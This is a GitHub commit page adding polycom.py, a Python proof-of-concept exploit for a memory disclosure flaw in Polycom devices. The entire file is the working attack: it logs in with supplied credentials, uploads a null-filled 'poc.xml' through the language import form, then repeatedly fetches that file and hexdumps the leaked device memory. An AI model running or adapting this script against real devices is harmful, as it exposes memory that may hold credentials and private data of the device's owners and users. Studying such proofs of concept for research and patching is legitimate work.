Skip to content

Commit e137e7e

Browse files
authored
1 parent bfeb400 commit e137e7e

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed

polycom.py

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
###
2+
# Polycom memory disclosure vulnerability
3+
# ./polycom.py ip username password
4+
5+
import base64
6+
import socket
7+
import string
8+
import sys
9+
10+
def hexdump(src, length=16, sep='.'):
11+
DISPLAY = string.digits + string.letters + string.punctuation
12+
FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256))))
13+
lines = []
14+
for c in xrange(0, len(src), length):
15+
chars = src[c:c+length]
16+
hex = ' '.join(["%02x" % ord(x) for x in chars])
17+
if len(hex) > 24:
18+
hex = "%s %s" % (hex[:24], hex[24:])
19+
printable = ''.join(["%s" % FILTER[ord(x)] for x in chars])
20+
lines.append("%08x: %-*s |%s|\n" % (c, length*3, hex, printable))
21+
print ''.join(lines)
22+
23+
24+
ip = sys.argv[1]
25+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26+
print "connecting to %s" % ip
27+
28+
try:
29+
s.connect((ip, 80))
30+
except e:
31+
print e
32+
33+
username = sys.argv[2]
34+
password = sys.argv[3]
35+
authorization = base64.b64encode("%s:%s" % (username, password));
36+
37+
print "Uploading NULL file\n"
38+
39+
NULL = "\x00" * 65000
40+
41+
payload = """------WebKitFormBoundaryBuo67PfA56qM4LSt\r
42+
Content-Disposition: form-data; name="myfile"; filename="poc.xml"\r
43+
Content-Type: text/xml\r
44+
\r
45+
%s\r
46+
------WebKitFormBoundaryBuo67PfA56qM4LSt--\r
47+
""" % NULL
48+
49+
upload_msg = """POST /form-submit/Utilities/languages/importFile HTTP/1.1\r
50+
Host: %s\r
51+
Connection: close\r
52+
Content-Length: %d\r
53+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBuo67PfA56qM4LSt\r
54+
Cookie: Authorization=Basic %s\r
55+
\r
56+
%s\r
57+
""" % (ip, len(payload), authorization, payload)
58+
59+
s.send(upload_msg)
60+
61+
data = s.recv(1024)
62+
63+
print "Done\n"
64+
65+
s.close()
66+
67+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
68+
69+
print "Memory Leak Stage\n"
70+
71+
leak_memory = """GET /languages?fileName=poc.xml HTTP/1.1
72+
Host: %s
73+
Connection: close
74+
Cookie: Authorization=Basic %s
75+
76+
""" % (ip , authorization)
77+
78+
s.connect((ip, 80))
79+
80+
print "Leaking memory:\n"
81+
82+
data = ""
83+
while True:
84+
try:
85+
s.send(leak_memory)
86+
87+
data += s.recv(1024)
88+
except:
89+
e = sys.exc_info()[0]
90+
print "Error: %s" %e
91+
break
92+
93+
hexdump(data)
94+
95+
print "Done\n"

0 commit comments

Comments
 (0)